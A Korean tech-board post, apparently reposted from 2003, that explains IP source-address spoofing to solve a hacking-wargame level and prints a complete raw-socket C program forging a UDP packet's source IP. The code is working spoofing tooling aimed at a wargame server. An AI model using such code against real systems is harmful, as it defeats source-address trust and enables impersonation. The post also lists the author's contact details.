Contents

System/OS
2003.04.23 10:34

[linux] 패킷의 소스 주소 바꾸기

조회 수 18774 댓글 0
?

단축키

Prev이전 문서

Next다음 문서

크게 작게 위로 아래로 댓글로 가기 인쇄
?

단축키

Prev이전 문서

Next다음 문서

크게 작게 위로 아래로 댓글로 가기 인쇄
[ Packet의 Source IP address 바꾸기 ]

UDP Packet ( Source IP manuplating )

일반적인 기법으로 UDP Packet을 날리면, 그 packet이 어디에서 출발하였는 지는
그 packet를 날린 머신의  IP 어드레스가 되지요....

다음은 www.hackerslab.org에서 하는 Hacking Test Level 10의 문제입니다.

--------------------------------------------------------------------------
  현재 해킹 자유지대 서버에는 특정 데몬이 떠 있다. 이 데몬은 UDP 5555번 포트를 
  이용하는데 www.hackerslab.org 호스트로부터 레벨의 10의 패스워드와 이메일 주소가
  담긴 패킷이 오면 그 email 주소로 level 11의 패스워드를 알려준다.
  그 해당 포맷은 다음과 같다.

  'Level10의 패스워드/email 주소'
  Ex) level10 의 패스워드가 abcd 고 email 주소가 abc@aaa.ccc.ddd..rr 이라면
  'abcd/abc@aaa.ccc.ddd.rr' 

  반드시 www.hackerslab.org 로부터 패킷이 와야 성공할 수 있으니 주의하기 바란다.
--------------------------------------------------------------------------

근데 이 문제를 풀려면 정말 www.hackerslab.org를 먼저 해킹하여 로그인 한 뒤 UDP packet을
날려야 할까요?

Packet의 Source IP address를 바꿀 수 있는 Source가 아래와 같습니다.

NOTE: 단, root의 권한으로 실행하셔야 합니다.


[javaservice@ns javaservice]$ cat sendudp.c
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netdb.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <netinet/in.h>
#include <netinet/udp.h>
#include <netinet/ip.h>

/* www.hackerslab.org */
#define SRC_IP "203.239.110.1"
/*#define SRC_IP "165.244.228.27"*/
#define SRC_PORT 8888

/* drill.hackerslab.org */
#define DEST_IP "203.239.110.20"
#define DEST_PORT 5555
/*#define DEST_IP "javaservice.net"*/
/*#define DEST_PORT 6090*/

#define IPVERSION       4
struct raw_pkt_hdr {
struct iphdr ip; /* This is Linux-style iphdr.
                    Use BSD-style struct ip if you want */
struct udphdr udp;
};

struct raw_pkt_hdr* pkt;
unsigned short checksum(unsigned short* addr, char len);

int main(int argc, char *argv[])
{
int sockfd, len;

struct sockaddr_in their_addr; /* connector's address information */
struct hostent *he;
int numbytes;
char *msg= "Beauty and Beast/javaservice@hanmail.net";

len = sizeof(struct raw_pkt_hdr)+strlen(msg)+4;
pkt = calloc((size_t)1,(size_t)len);

pkt->ip.version = IPVERSION;
pkt->ip.ihl = sizeof(struct iphdr) >> 2;
pkt->ip.tos = 0;
pkt->ip.tot_len = htons(len);
pkt->ip.id = htons(getpid() & 0xFFFF);
pkt->ip.frag_off = 0;
pkt->ip.ttl = 0x40;
pkt->ip.protocol = IPPROTO_UDP;
pkt->ip.check = 0;

pkt->ip.saddr = inet_addr(SRC_IP);

pkt->ip.daddr = inet_addr(DEST_IP);

pkt->ip.check = checksum((unsigned short*)pkt,sizeof(struct iphdr));

pkt->udp.source = htons(SRC_PORT);
pkt->udp.dest = htons(DEST_PORT);

pkt->udp.len = htons(len - sizeof(struct iphdr));
pkt->udp.check = 0;

sprintf((char*)pkt+sizeof(struct raw_pkt_hdr),"%s", msg);
if ((sockfd = socket(AF_INET, SOCK_RAW, 255)) == -1) {
perror("socket");
exit(1);
}
their_addr.sin_family = AF_INET;    /* host byte order */
their_addr.sin_port = htons(5656);  /* short, network byte order */
their_addr.sin_addr.s_addr = inet_addr(DEST_IP);

bzero(&(their_addr.sin_zero), 8);   /* zero the rest of the struct */

if ((numbytes=sendto(sockfd, pkt, len, 0, (struct sockaddr *)&their_addr, sizeof(struct sockaddr))) == -1) {
perror("sendto");
exit(1);
}
printf("sent %d bytes to %sn",numbytes, inet_ntoa(their_addr.sin_addr));
close(sockfd);
return 0;
}

unsigned short checksum(unsigned short* addr,char len){
/* This is a simplified version that expects even number of bytes */
register long sum = 0;

while(len > 1){
sum += *addr++;
len -= 2;
}
while (sum>>16) sum = (sum & 0xffff) + (sum >> 16);

return ~sum;
}

[javaservice@ns javaservice]$


-------------------------------------------------------  
본 문서는 자유롭게 배포/복사 할 수 있으나 반드시
이 문서의 저자에 대한 언급을 삭제하시면 안됩니다
================================================
이원영(javaservice@hanmail.net)
236-1, Hyosung-2dong, Kyeyang-gu, Inchun,
407-042, KOREA
Phone:(82-32)540-5243, Fax:(82-32)540-5402
PCS:019-310-7324 


?

List of Articles
번호 분류 제목 글쓴이 날짜 조회 수
106 System/OS [sql] 중복데이터 삭제 쿼리 hooni 2013.04.23 14729
105 System/OS [sql] 조회구문(select)에서 중복 데이터를 한 번만 출력 (distinct) 1 hooni 2013.04.23 33892
104 System/OS [doc] 피쳐셀렉션(feature selection using..) 발표 자료 file hooni 2013.04.23 12543
103 System/OS [doc] 네트워크 장비와 라우터 설정 방법 발표 자료 file hooni 2013.04.23 14490
102 System/OS [windows] 인터넷 익스플로러(IE) 도구모음 표시줄에 아이콘 추가 file hooni 2013.04.23 18216
101 System/OS [windows] 종료, 재시작, 로그아웃 아이콘 만들기 hooni 2013.04.23 18101
100 System/OS [router] 설정과 기본 명령어들 모음 hooni 2013.04.23 15669
99 System/OS NAT와 DHCP에 대한 간단한 설명 hooni 2013.04.23 18327
98 System/OS [linux] 간단한 find 명령어 설명(업데이트 해야 함) hooni 2013.04.23 9110
97 System/OS [doc] TCP/IP 강의 자료 (html) file hooni 2013.04.23 11170
96 System/OS [linux] 시스템 데몬 종류와 설명 hooni 2013.04.23 11138
95 System/OS [doc] 레드햇 리눅스 메뉴얼 (html버전) file hooni 2013.04.23 10451
Board Pagination Prev 1 ... 4 5 6 7 8 9 10 11 12 13 ... 17 Next
/ 17